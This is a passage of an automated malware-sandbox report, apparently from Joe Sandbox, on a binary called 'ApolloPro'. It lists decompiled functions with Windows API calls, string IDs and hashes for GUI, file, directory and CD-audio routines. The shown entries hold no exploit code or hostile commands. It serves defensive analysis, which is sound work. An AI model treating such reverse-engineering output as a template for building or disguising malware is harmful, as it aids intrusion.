                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID: ClassName_wcscmp$Window$Text$BuffCharRectUpper_wcsstr
                                                                    • String ID: @$ThumbnailClass
                                                                    • API String ID: 1788623398-1539354611
                                                                    • Opcode ID: 9a4b57db244ccf4c5b059a431837a33fe6d8d3da91cecc6aa91e5f89b10b8f87
                                                                    • Instruction ID: e41af327b3415e472a0fa3382f9c45e63db5acacd4b775159a94544d8d1e2a5f
                                                                    • Opcode Fuzzy Hash: 9a4b57db244ccf4c5b059a431837a33fe6d8d3da91cecc6aa91e5f89b10b8f87
                                                                    • Instruction Fuzzy Hash: EA81697100420AABEB54DF14CC95FAAB7E8FF44324F04856AFD89DA096DB34DA45CB62
                                                                    Function 0080B8B6 Relevance: 26.4, APIs: 3, Strings: 12, Instructions: 105COMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID: __wcsnicmp
                                                                    • String ID: ACTIVE$ALL$CLASSNAME=$HANDLE=$LAST$REGEXP=$[ACTIVE$[ALL$[CLASS:$[HANDLE:$[LAST$[REGEXPTITLE:
                                                                    • API String ID: 1038674560-1810252412
                                                                    • Opcode ID: 892b1441aa20c9cffe2d19157678e40cc70f3662348adbfe6916c279b7762f50
                                                                    • Instruction ID: 082b6dd38b0358b86f7ceaa24ef9fdc08c3eeeaec4bf1ab384f293642292b4dd
                                                                    • Opcode Fuzzy Hash: 892b1441aa20c9cffe2d19157678e40cc70f3662348adbfe6916c279b7762f50
                                                                    • Instruction Fuzzy Hash: C3318F31644209E6DA18EB90CD47FAD77B4FF21750F60012DB561F11D2FB5EAE048A52
                                                                    Function 0080CB97 Relevance: 25.7, APIs: 17, Instructions: 169windowtimeCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • LoadIconW.USER32(00000063), ref: 0080CBAA
                                                                    • SendMessageW.USER32(?,00000080,00000000,00000000), ref: 0080CBBC
                                                                    • SetWindowTextW.USER32(?,?), ref: 0080CBD3
                                                                    • GetDlgItem.USER32(?,000003EA), ref: 0080CBE8
                                                                    • SetWindowTextW.USER32(00000000,?), ref: 0080CBEE
                                                                    • GetDlgItem.USER32(?,000003E9), ref: 0080CBFE
                                                                    • SetWindowTextW.USER32(00000000,?), ref: 0080CC04
                                                                    • SendDlgItemMessageW.USER32(?,000003E9,000000CC,?,00000000), ref: 0080CC25
                                                                    • SendDlgItemMessageW.USER32(?,000003E9,000000C5,00000000,00000000), ref: 0080CC3F
                                                                    • GetWindowRect.USER32(?,?), ref: 0080CC48
                                                                    • SetWindowTextW.USER32(?,?), ref: 0080CCB3
                                                                    • GetDesktopWindow.USER32 ref: 0080CCB9
                                                                    • GetWindowRect.USER32(00000000), ref: 0080CCC0
                                                                    • MoveWindow.USER32(?,?,?,?,00000000,00000000), ref: 0080CD0C
                                                                    • GetClientRect.USER32(?,?), ref: 0080CD19
                                                                    • PostMessageW.USER32(?,00000005,00000000,00000000), ref: 0080CD3E
                                                                    • SetTimer.USER32(?,0000040A,00000000,00000000), ref: 0080CD69
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID: Window$ItemMessageText$RectSend$ClientDesktopIconLoadMovePostTimer
                                                                    • String ID:
                                                                    • API String ID: 3869813825-0
                                                                    • Opcode ID: b6b24e8cf4cfc11e5bbec1e4adccf5558d038d692e4d098e39969c2fc61b97a1
                                                                    • Instruction ID: 50d3ec3a61d753edfc513cbd7b15f84063bb309ce52b7f8a103cad9bb3f6e951
                                                                    • Opcode Fuzzy Hash: b6b24e8cf4cfc11e5bbec1e4adccf5558d038d692e4d098e39969c2fc61b97a1
                                                                    • Instruction Fuzzy Hash: 8A515B31900709AFEB609FA8CE89B6FBBB5FF04705F000A18E686E25A0D775A954CF50
                                                                    Function 0083A7DE Relevance: 24.7, APIs: 12, Strings: 2, Instructions: 205windowCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • _memset.LIBCMT ref: 0083A87E
                                                                    • DestroyWindow.USER32(00000000,?), ref: 0083A8F8
                                                                      • Part of subcall function 007C1821: _memmove.LIBCMT ref: 007C185B
                                                                    • CreateWindowExW.USER32(00000008,tooltips_class32,00000000,?,80000000,80000000,80000000,80000000,?,00000000,00000000,?), ref: 0083A972
                                                                    • SendMessageW.USER32(00000000,00000433,00000000,00000030), ref: 0083A994
                                                                    • SendMessageW.USER32(00000000,00000432,00000000,00000030), ref: 0083A9A7
                                                                    • DestroyWindow.USER32(00000000), ref: 0083A9C9
                                                                    • CreateWindowExW.USER32(00000008,tooltips_class32,00000000,?,80000000,80000000,80000000,80000000,?,00000000,007B0000,00000000), ref: 0083AA00
                                                                    • SendMessageW.USER32(00000000,00000432,00000000,00000030), ref: 0083AA19
                                                                    • GetDesktopWindow.USER32 ref: 0083AA32
                                                                    • GetWindowRect.USER32(00000000), ref: 0083AA39
                                                                    • SendMessageW.USER32(00000000,00000418,00000000,?), ref: 0083AA51
                                                                    • SendMessageW.USER32(00000000,00000421,?,00000000), ref: 0083AA69
                                                                      • Part of subcall function 007B29AB: GetWindowLongW.USER32(?,000000EB), ref: 007B29BC
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID: Window$MessageSend$CreateDestroy$DesktopLongRect_memmove_memset
                                                                    • String ID: 0$tooltips_class32
                                                                    • API String ID: 1297703922-3619404913
                                                                    • Opcode ID: cd9aebf4db75441848f6496a33d2b61d429653e73fade1133716800b1db12fe3
                                                                    • Instruction ID: fad2a2c5c4dacbdcf9ec5545e5040be1b9bacf057da68c593c8198488cdf574d
                                                                    • Opcode Fuzzy Hash: cd9aebf4db75441848f6496a33d2b61d429653e73fade1133716800b1db12fe3
                                                                    • Instruction Fuzzy Hash: 3471A871140204AFD729DF28C808F6B7BE5FB89304F08052DF98AD72A1D735E941DB96
                                                                    Function 0083CCA6 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 181windowfileCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                      • Part of subcall function 007B29E2: GetWindowLongW.USER32(?,000000EB), ref: 007B29F3
                                                                    • DragQueryPoint.SHELL32(?,?), ref: 0083CCCF
                                                                      • Part of subcall function 0083B1A9: ClientToScreen.USER32(?,?), ref: 0083B1D2
                                                                      • Part of subcall function 0083B1A9: GetWindowRect.USER32(?,?), ref: 0083B248
                                                                      • Part of subcall function 0083B1A9: PtInRect.USER32(?,?,0083C6BC), ref: 0083B258
                                                                    • SendMessageW.USER32(?,000000B0,?,?), ref: 0083CD38
                                                                    • DragQueryFileW.SHELL32(?,000000FF,00000000,00000000), ref: 0083CD43
                                                                    • DragQueryFileW.SHELL32(?,00000000,?,00000104), ref: 0083CD66
                                                                    • _wcscat.LIBCMT ref: 0083CD96
                                                                    • SendMessageW.USER32(?,000000C2,00000001,?), ref: 0083CDAD
                                                                    • SendMessageW.USER32(?,000000B0,?,?), ref: 0083CDC6
                                                                    • SendMessageW.USER32(?,000000B1,?,?), ref: 0083CDDD
                                                                    • SendMessageW.USER32(?,000000B1,?,?), ref: 0083CDFF
                                                                    • DragFinish.SHELL32(?), ref: 0083CE06
                                                                    • DefDlgProcW.USER32(?,00000233,?,00000000,?,?,?), ref: 0083CEF9
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID: MessageSend$Drag$Query$FileRectWindow$ClientFinishLongPointProcScreen_wcscat
                                                                    • String ID: @GUI_DRAGFILE$@GUI_DRAGID$@GUI_DROPID
                                                                    • API String ID: 169749273-3440237614
                                                                    • Opcode ID: 146f64e91ab6fc79d5ff09afa83ffcfe39b6de6f86e738a08a87233ad694e145
                                                                    • Instruction ID: ff05576b40a0db3be55c266cbea9d4780e5637e6c1fafba404f03669a6af7ff2
                                                                    • Opcode Fuzzy Hash: 146f64e91ab6fc79d5ff09afa83ffcfe39b6de6f86e738a08a87233ad694e145
                                                                    • Instruction Fuzzy Hash: 63614C71108301AFC711DF64DC89E9FBBE8FBD9750F400A2DF695921A1DB709A49CB92
                                                                    Function 008182D5 Relevance: 23.1, APIs: 11, Strings: 2, Instructions: 378timeCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • VariantInit.OLEAUT32(00000000), ref: 0081831A
                                                                    • VariantCopy.OLEAUT32(00000000,?), ref: 00818323
                                                                    • VariantClear.OLEAUT32(00000000), ref: 0081832F
                                                                    • VariantTimeToSystemTime.OLEAUT32(?,?,?), ref: 0081841D
                                                                    • __swprintf.LIBCMT ref: 0081844D
                                                                    • VarR8FromDec.OLEAUT32(?,?), ref: 00818479
                                                                    • VariantInit.OLEAUT32(?), ref: 0081852A
                                                                    • SysFreeString.OLEAUT32(?), ref: 008185BE
                                                                    • VariantClear.OLEAUT32(?), ref: 00818618
                                                                    • VariantClear.OLEAUT32(?), ref: 00818627
                                                                    • VariantInit.OLEAUT32(00000000), ref: 00818665
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID: Variant$ClearInit$Time$CopyFreeFromStringSystem__swprintf
                                                                    • String ID: %4d%02d%02d%02d%02d%02d$Default
                                                                    • API String ID: 3730832054-3931177956
                                                                    • Opcode ID: a7485831e8804f853a79144c9a64f1c9e9b1503f34e31695661cb1ac74e30b9d
                                                                    • Instruction ID: 3bf1b9a5dfd25a49e43f11389d94f8720404fd17245c18680c47b8073d42137b
                                                                    • Opcode Fuzzy Hash: a7485831e8804f853a79144c9a64f1c9e9b1503f34e31695661cb1ac74e30b9d
                                                                    • Instruction Fuzzy Hash: 68D1CF31604519EBDB209F65C88ABEEB7B8FF05B04F288559E515EB281DF34D880DBA1
                                                                    Function 008349CF Relevance: 23.0, APIs: 2, Strings: 11, Instructions: 251windowCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • CharUpperBuffW.USER32(?,?), ref: 00834A61
                                                                    • SendMessageW.USER32(?,00001105,00000000,00000000), ref: 00834AAC
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID: BuffCharMessageSendUpper
                                                                    • String ID: CHECK$COLLAPSE$EXISTS$EXPAND$GETITEMCOUNT$GETSELECTED$GETTEXT$GETTOTALCOUNT$ISCHECKED$SELECT$UNCHECK
                                                                    • API String ID: 3974292440-4258414348
                                                                    • Opcode ID: 8dde6acb32450ee89e459c2294b05370312dd1ad75e24ed2792f07fdce5b4476
                                                                    • Instruction ID: 37d031271260fef8cec80ca16515a5c6d0aa9d0701e353ecfb1d55260f7c9a89
                                                                    • Opcode Fuzzy Hash: 8dde6acb32450ee89e459c2294b05370312dd1ad75e24ed2792f07fdce5b4476
                                                                    • Instruction Fuzzy Hash: 99916A30200711DBCB04EF60C855A69B7A2FF94354F10986DE9969B3A3CB34FD4ACB92
                                                                    Function 0081E25D Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 185timeCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • GetLocalTime.KERNEL32(?), ref: 0081E31F
                                                                    • SystemTimeToFileTime.KERNEL32(?,?), ref: 0081E32F
                                                                    • LocalFileTimeToFileTime.KERNEL32(?,?), ref: 0081E33B
                                                                    • __wsplitpath.LIBCMT ref: 0081E399
                                                                    • _wcscat.LIBCMT ref: 0081E3B1
                                                                    • _wcscat.LIBCMT ref: 0081E3C3
                                                                    • GetCurrentDirectoryW.KERNEL32(00007FFF,?), ref: 0081E3D8
                                                                    • SetCurrentDirectoryW.KERNEL32(?), ref: 0081E3EC
                                                                    • SetCurrentDirectoryW.KERNEL32(?), ref: 0081E41E
                                                                    • SetCurrentDirectoryW.KERNEL32(?), ref: 0081E43F
                                                                    • _wcscpy.LIBCMT ref: 0081E44B
                                                                    • SetCurrentDirectoryW.KERNEL32(?,?,?,?,?), ref: 0081E48A
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID: CurrentDirectoryTime$File$Local_wcscat$System__wsplitpath_wcscpy
                                                                    • String ID: *.*
                                                                    • API String ID: 3566783562-438819550
                                                                    • Opcode ID: 9c2f95b165f1c2a88141dca776d46118b8d44e95d0d6e47542d3ecd869746373
                                                                    • Instruction ID: 28aa0f3b4ca86b3fce8f00b4ec7ee3905913e968c9fcef98d80a56e2fcab15c4
                                                                    • Opcode Fuzzy Hash: 9c2f95b165f1c2a88141dca776d46118b8d44e95d0d6e47542d3ecd869746373
                                                                    • Instruction Fuzzy Hash: E16147725046459FC710EF64C844A9EB3ECFF89314F04891EFA89C7252DB39E985CB92
                                                                    Function 0081A27B Relevance: 22.9, APIs: 7, Strings: 6, Instructions: 150COMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • LoadStringW.USER32(00000066,?,00000FFF,?), ref: 0081A2C2
                                                                      • Part of subcall function 007C1A36: _memmove.LIBCMT ref: 007C1A77
                                                                    • LoadStringW.USER32(00000072,?,00000FFF,?), ref: 0081A2E3
                                                                    • __swprintf.LIBCMT ref: 0081A33C
                                                                    • __swprintf.LIBCMT ref: 0081A355
                                                                    • _wprintf.LIBCMT ref: 0081A3FC
                                                                    • _wprintf.LIBCMT ref: 0081A41A
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID: LoadString__swprintf_wprintf$_memmove
                                                                    • String ID: Error: $"%s" (%d) : ==> %s:$"%s" (%d) : ==> %s:%s%s$Incorrect parameters to object property !$Line %d (File "%s"):$^ ERROR
                                                                    • API String ID: 311963372-3080491070
                                                                    • Opcode ID: 3d7f3d44ae20ce2117d32645371fb72f81abd515362cccb3dd00f7315972e72c
                                                                    • Instruction ID: 4b3bf9ae4d63f25961a877aac4be76b79401bad5f9bc6b2d12618a68434bdf3c
                                                                    • Opcode Fuzzy Hash: 3d7f3d44ae20ce2117d32645371fb72f81abd515362cccb3dd00f7315972e72c
                                                                    • Instruction Fuzzy Hash: 92519E71900209AACF18EBE0CD4AEEEB779FF05340F500169B515B2162EB396F99DB61
                                                                    Function 00810065 Relevance: 22.9, APIs: 8, Strings: 5, Instructions: 138windowCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • GetModuleHandleW.KERNEL32(00000000,?,00000FFF,00000000,00000001,00000001,?,007FF8B8,00000001,0000138C,00000001,00000001,00000001,?,00823FF9,00000001), ref: 0081009A
                                                                    • LoadStringW.USER32(00000000,?,007FF8B8,00000001), ref: 008100A3
                                                                      • Part of subcall function 007C1A36: _memmove.LIBCMT ref: 007C1A77
                                                                    • GetModuleHandleW.KERNEL32(00000000,00877310,?,00000FFF,?,?,007FF8B8,00000001,0000138C,00000001,00000001,00000001,?,00823FF9,00000001,00000001), ref: 008100C5
                                                                    • LoadStringW.USER32(00000000,?,007FF8B8,00000001), ref: 008100C8
                                                                    • __swprintf.LIBCMT ref: 00810118
                                                                    • __swprintf.LIBCMT ref: 00810129
                                                                    • _wprintf.LIBCMT ref: 008101D2
                                                                    • MessageBoxW.USER32(00000000,?,?,00011010), ref: 008101E9
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID: HandleLoadModuleString__swprintf$Message_memmove_wprintf
                                                                    • String ID: Error: $%s (%d) : ==> %s: %s %s$Line %d (File "%s"):$Line %d:$^ ERROR
                                                                    • API String ID: 984253442-2268648507
                                                                    • Opcode ID: 29a569cd96d5a4301f542a478f631655fdd56d157f47fc5844ed7dd63f41059b
                                                                    • Instruction ID: 3e2f82c9e2cef5fb89cc67450c956e70e5fa174b8acc848323f4686aa109e3df
                                                                    • Opcode Fuzzy Hash: 29a569cd96d5a4301f542a478f631655fdd56d157f47fc5844ed7dd63f41059b
                                                                    • Instruction Fuzzy Hash: 4D414E72900219AACB15EBD0CD8AEEE777CFF19340F900169F505B2092EA796F49CF61
                                                                    Function 0081A995 Relevance: 22.9, APIs: 5, Strings: 8, Instructions: 138COMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                      • Part of subcall function 007B4D37: __itow.LIBCMT ref: 007B4D62
                                                                      • Part of subcall function 007B4D37: __swprintf.LIBCMT ref: 007B4DAC
                                                                    • CharLowerBuffW.USER32(?,?), ref: 0081AA0E
                                                                    • GetDriveTypeW.KERNEL32 ref: 0081AA5B
                                                                    • mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 0081AAA3
                                                                    • mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 0081AADA
                                                                    • mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 0081AB08
                                                                      • Part of subcall function 007C1821: _memmove.LIBCMT ref: 007C185B
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID: SendString$BuffCharDriveLowerType__itow__swprintf_memmove
                                                                    • String ID: type cdaudio alias cd wait$ wait$close$close cd wait$closed$open$open $set cd door
                                                                    • API String ID: 2698844021-4113822522
                                                                    • Opcode ID: 68d048daa8a820c47d66ced6ba0a93921244a9e8aaaa57b3f597f35fbc24bdcf
                                                                    • Instruction ID: 00eca106b20898107caff03720badf9a0b5ad17966ddd142bfec3f54e4a89ba5
                                                                    • Opcode Fuzzy Hash: 68d048daa8a820c47d66ced6ba0a93921244a9e8aaaa57b3f597f35fbc24bdcf
                                                                    • Instruction Fuzzy Hash: 04515971204204DFC304EF20C885EAAB3F9FF99358F50496DF89697262DB35AD49CB92
                                                                    Function 0081A832 Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 102fileCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • GetFullPathNameW.KERNEL32(?,00007FFF,?,?), ref: 0081A852
                                                                    • __swprintf.LIBCMT ref: 0081A874
                                                                    • CreateDirectoryW.KERNEL32(?,00000000), ref: 0081A8B1
                                                                    • CreateFileW.KERNEL32(?,40000000,00000000,00000000,00000003,02200000,00000000), ref: 0081A8D6
                                                                    • _memset.LIBCMT ref: 0081A8F5
                                                                    • _wcsncpy.LIBCMT ref: 0081A931
                                                                    • DeviceIoControl.KERNEL32(00000000,000900A4,?,?,00000000,00000000,?,00000000), ref: 0081A966
                                                                    • CloseHandle.KERNEL32(00000000), ref: 0081A971
                                                                    • RemoveDirectoryW.KERNEL32(?), ref: 0081A97A
                                                                    • CloseHandle.KERNEL32(00000000), ref: 0081A984
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID: CloseCreateDirectoryHandle$ControlDeviceFileFullNamePathRemove__swprintf_memset_wcsncpy
                                                                    • String ID: :$\$\??\%s
                                                                    • API String ID: 2733774712-3457252023
                                                                    • Opcode ID: 17386d55fd35932feb679286ab24f09fb14a95567b044f6f564d63e2d11bd6ab
                                                                    • Instruction ID: ea0c234b9adeb920378f42e4b3ebc3a6367249adebbab0b5685cc03f83a45c0a
                                                                    • Opcode Fuzzy Hash: 17386d55fd35932feb679286ab24f09fb14a95567b044f6f564d63e2d11bd6ab
                                                                    • Instruction Fuzzy Hash: 5631707590021AABDB219FA0DC49FEB77BCFF89700F1041B6FA19D21A0E7749685CB25
                                                                    Function 0083C0A5 Relevance: 22.6, APIs: 15, Instructions: 130filecommemoryCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • CreateFileW.KERNEL32(00000000,80000000,00000000,00000000,00000003,00000000,00000000,00000000,?,?,?,?,?,0083982C,?,?), ref: 0083C0C8
                                                                    • GetFileSize.KERNEL32(00000000,00000000,?,?,?,?,0083982C,?,?,00000000,?), ref: 0083C0DF
                                                                    • GlobalAlloc.KERNEL32(00000002,00000000,?,?,?,?,0083982C,?,?,00000000,?), ref: 0083C0EA
                                                                    • CloseHandle.KERNEL32(00000000,?,?,?,?,0083982C,?,?,00000000,?), ref: 0083C0F7
                                                                    • GlobalLock.KERNEL32(00000000), ref: 0083C100
                                                                    • ReadFile.KERNEL32(00000000,00000000,00000000,00000000,00000000,?,?,?,?,0083982C,?,?,00000000,?), ref: 0083C10F
                                                                    • GlobalUnlock.KERNEL32(00000000), ref: 0083C118
                                                                    • CloseHandle.KERNEL32(00000000,?,?,?,?,0083982C,?,?,00000000,?), ref: 0083C11F
